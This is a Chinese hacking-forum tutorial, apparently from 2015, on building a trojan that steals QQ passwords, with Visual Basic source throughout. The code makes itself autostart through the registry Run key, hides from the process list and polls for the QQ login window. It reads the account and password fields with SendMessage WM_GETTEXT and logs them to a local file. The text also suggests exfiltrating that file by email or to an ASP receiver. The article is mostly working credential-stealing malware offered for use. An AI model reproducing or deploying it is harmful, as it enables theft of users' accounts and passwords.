您现在的位置: 主页 > 华夏黑客联盟 > QQ盗号木马 > 文章内容

简单qq木马编写?

作者: QQ黑客 来源:未知 时间: 2015-10-05 阅读:
你的号没被盗过么?这玩意真不是好东西,太害人了,虽然对你不理解
本站为了扩大也会教你。

QQ盗号木马编写就是被众人称为的"木马".也是现在网上最流行的一种盗号方法.通过窗口函数取得密码的方法(适用任何版本的QQ)原理和木马代码我会详细解说.以下是用VB编写的一个列子:
设计思路

我们知道QQ的密码框并没有进行特别的处理,也就是说用可以通过SendMessage发送WM_GETTEXT取得密码框中的值,我们可以利用这一点来完成密码的截取,具体请看下面:

使用Timer控件,监视QQ。

用遍查窗口的方法(EnumWindows),取得所有的窗口标题(GetWindowText),判断其中是否为"QQ用户登录"的标题,取得QQ登录窗口的子窗口(窗口上的控件)的类名(GetClassName),然后通过ComboBox、Edit取得用户名和密码(通过SendMessage发送WM_GETTEXT取得值)。

由于不能判断外部按键事件的发生,只有通过不断的取得密码值,具体方法如下:(暴力破解QQ密码软件)

首先取得用户名的值,然后不停的取密码的值,再判断窗口的标题是否为用户名,如果为用户名,则最后一次密码的值就是真正的密码,到此程序完成。

编制盗QQ木马程序

(1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。

声明变量、过程及API函数,写在Module1.bas文件中

DeclareFunctionCreateFileMappingLib"kernel32"Alias"CreateFileMappingA"(ByValhFileAsLong,lpFileMappigAttributesAsSECURITY_ATTRIBUTES,ByValflProtectAsLong,ByValdwMaximumSizeHighAsLong,ByValdwMaximumSizeLowAsLong,ByVallpNameAsString)AsLong'创建一个新的文件映射对象
PrivateDeclareFunctionCloseHandleLib"kernel32"(ByValhObjectAsLong)AsLong'关闭一个内核对象
TypeSECURITY_ATTRIBUTES
nLengthAsLong
lpSecurityDescriptorAsLong
bInheritHandleAsLong
EndType
ConstPAGE_READWRITE=1
ConstERROR_ALREADY_EXISTS=183&

建立判断程序是否多启动木马程序的过程

SubMain()
DimynRunAsLong
DimsaAsSECURITY_ATTRIBUTES
sa.bInheritHandle=1
sa.lpSecurityDescriptor=0
sa.nLength=Len(sa)
ynRun=CreateFileMapping(&HFFFFFFFF,sa,PAGE_READWRITE,0,128,App.title)'创建内存映射文件
If(Err.LastDllError=ERROR_ALREADY_EXISTS)Then'如果指定内存文件已存在,则退出
CloseHandleynRun'退出程序前关闭内存映射文件
End
EndIf
EndSub

(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法

声明变量、过程及API函数,写在Module1.bas文件中

DeclareFunctionRegCreateKey&Lib"advapi32.dll"Alias"RegCreateKeyA"(ByValhKey&,ByVallpszSubKey$,lphKey&)'在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项

DeclareFunctionRegSetValueLib"advapi32.dll"Alias"RegSetValueA"(ByValhKeyAsLong,ByVallpSubKeyAsString,ByValdwTypeAsLong,ByVallpDataAsString,ByValcbDataAsLong)AsLong'设置指定项或子项的默认值

ConstHKEY_LOCAL_MACHINE=&H80000002

ConstREG_SZ=1

建立使程序自启动的过程

subAutoRun()
DimsKeyNameAsString,sKeyValueAsString,sKeyValueIconAsString
DimRetAsInteger,lphKeyAsLong
sKeyName="Software\Microsoft\Windows\CurrentVersion\Run"'是启动项在注册表中位置,大家可能通过regedit.exe来查看
sKeyValue=App.Path&IIf(Len(App.Path)>3,"\"&"KillOicq.exe","KillOicq.exe")'monitor.exe为这个程序
Ret=RegCreateKey&(HKEY_LOCAL_MACHINE,sKeyName,lphKey)'创建新的启动项
Ret=RegSetValue&(lphKey&,"",REG_SZ,sKeyValue,0&)'设置键值
EndSub

(3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。

声明变量、过程及API函数,写在Module1.bas文件中

DeclareFunctionRegisterServiceProcessLib"kernel32"(ByValdwProcessIDAsLong,ByValdwTypeAsLong)AsLong

ConstRSP_SIMPLE_SERVICE=1'隐藏

建立实现程序自身在关闭程序对话框中的隐藏的过程

SubHideMyWin()
RegisterServiceProcesslngProcessID,RSP_SIMPLE_SERVICE
EndSub

(4)即时监视是否运行了OICQ

加载1个Timer控件,其Interval的值为1(你也可以自己设置,尽量少点),这个程序就是通过Timer来实现QQ监视的。

PrivateSubTimer1_Timer()
EnumWindowsAddressOfEnumProc,0'枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视QQ程序
EndSub

声明变量、过程、函数及API函数,写在Module1.bas文件中

OptionExplicit
DeclareFunctionEnumWindowsLib"user32"(ByVallpEnumFuncAsAny,ByVallParamAsLong)AsLong'遍查窗口
DeclareFunctionGetWindowTextLib"user32"Alias"GetWindowTextA"(ByValhwndAsLong,ByVallpStringAsString,ByValcchAsLong)AsLong'取得窗口标题
DeclareFunctionGetClassNameLib"user32"Alias"GetClassNameA"(ByValhwndAsLong,ByVallpClassNameAsString,ByValnMaxCountAsLong)AsLong'为指定的窗口取得类名
DeclareFunctionGetWindowLib"user32"(ByValhwndAsLong,ByValwCmdAsLong)AsLong'获得一个窗口的句柄
ConstGW_CHILD=5'寻找源窗口的第一个子窗口
ConstGW_HWNDNEXT=2'为源窗口寻找下一个兄弟窗口
DeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByValhwndAsLong,ByVal_
wMsgAsLong,ByValwParamAsLong,lParamAsAny)AsLong'发送消息
ConstWM_GETTEXT=&HD
ConstWM_GETTEXTLENGTH=&HE
DimbufAsString
Dimnameall,name,passwordall,passwordAsString
DimiAsInteger
Dimtitle,titleall,filepathAsString
PublicFunctionEnumProc(ByValapp_hwndAsLong,ByVallParamAsLong)AsBoolean'遍查主窗口
DimbufAsString*1024
DimlengthAsLong
filepath=App.Path&"\0.txt"'0.txt为保存帐号、密码的文件
IfDir(filepath)=""Then
title=""
titleall=""
EndIf
length=GetWindowText(app_hwnd,buf,Len(buf))
title=Left$(buf,length)'取得窗口的标题
IfInStr(title,"OICQ用户登录")Then'判断是否为QQ窗口
CallGetZiWin(app_hwnd)'调用(5),取得OICQ窗口中的帐号、密码框的类名
EndIf
Iftitle<>""Then
IfInStr(titleall,title)Then
EnumProc=1
Else
titleall=titleall+title'title是指取得的窗口标题
Ifname<>""Then'取得的帐号
IfInStr(title,name)ThenSaveFile'保存帐号密码(如果取得的标题等于取得的帐号,则表示用户名、密码已顺利取出了),就调用(7)
EndIf
EndIf
EndIf
EnumProc=1
EndFunction

(5)取得OICQ窗口中的用户名、密码框的类名

自定义取得子窗口类名的函数,写在Module1.bas文件中

我们知道OICQ主窗口的用户名的类名是ComboBox,密码框的类名是Edit,这里可以通过取得类名的办法,取得它们的句柄,从而取得它们的值。

PublicFunctionGetZiWin(window_hwndAsLong)AsString
DimbuflenAsLong
Dimchild_hwndAsLong
Dimchildren()AsLong
Dimnum_childrenAsInteger
DimiAsInteger
'取得类名
buflen=256
buf=Space$(buflen-1)
buflen=GetClassName(window_hwnd,buf,buflen)
buf=Left$(buf,buflen)
IfRight(buf,8)="ComboBox"OrRight(buf,4)="Edit"Then'进行判断
GetZiWin=GetWinText(window_hwnd)'调用(6),取得它们的值
ExitFunction
EndIf
num_children=0
child_hwnd=GetWindow(window_hwnd,GW_CHILD)'取得第1个子窗口的句柄
DoWhilechild_hwnd<>0'如果有子窗口
num_children=num_children+1
ReDimPreservechildren(1Tonum_children)
children(num_children)=child_hwnd
child_hwnd=GetWindow(child_hwnd,GW_HWNDNEXT)'取得下一个兄弟窗口的句柄
Loop
Fori=1Tonum_children
CallGetZiWin(children(i))
Nexti
EndFunction

(6)通过(5)已得到了用户名、密码框的类名,也就取得了句柄,这一步进行取值

自定义取得子窗口的值的函数,写在Module1.bas文件中

PublicFunctionGetWinText(window_hwndAsLong)AsString'取得子窗口的值
DimtxtlenAsLong
DimtxtAsString
'通过SendMessage发送WM_GETTEXT取得地址栏的值
GetWinText=""
Ifwindow_hwnd=0ThenExitFunction
txtlen=SendMessage(window_hwnd,WM_GETTEXTLENGTH,0,0)
Iftxtlen=0ThenExitFunction
txtlen=txtlen+1
txt=Space$(txtlen)
txtlen=SendMessage(window_hwnd,WM_GETTEXT,txtlen,ByValtxt)
GetWinText=Left$(txt,txtlen)
Ifbuf="ComboBox"Then
name=GetWinText
IfInStr(nameall,name)Then
i=0
Else
nameall=nameall+name
i=i+1
EndIf
Else
password=GetWinText
IfInStr(passwordall,password)Then
i=0
Else
passwordall=passwordall+password
i=i+1
EndIf
EndIf
EndFunction

(7)到现在,程序已进行收尾阶段,如果在(4)中判断用户名、密码顺得取出,则保存相关信息。

自定义保存信息的过程,写在Module1.bas文件中

SubSaveFile()
Dimfile_numAsInteger
DimallstrAsString
allstr=name&Space(5)&password&Space(5)&Now'保存帐号、密码、启动的时间
file_num=FreeFile
IfDir(filepath)=""Then
OpenfilepathForOutputAs#file_num
Else
OpenfilepathForAppendAs#file_num
EndIf
Print#file_num,allstr
Close#file_num
EndSub

使用此软件后,在每次系统启动时该软件都会运行,监视QQ,当你打开QQ,并输入密码,则该软件在软件所在目录记录里记下你的QQ帐号和密码,并保存在0.txt文件里,你只要双击0.txt文件就能看到帐号、密码.

补充说明:由于0.txt文件是保存在本地的,那么远程计算机要想知道对方的密码怎么办呢?我们可以通过邮箱来实现.也就是把0.txt的文件通过电子邮件方式发送的指定的邮箱.还可以通过ASP来接受,利用一个FTP空间或者利用某网站,挂一个ASP文件上去,再利用木马将账号密码发送到保存ASP文件的指定路径就行了。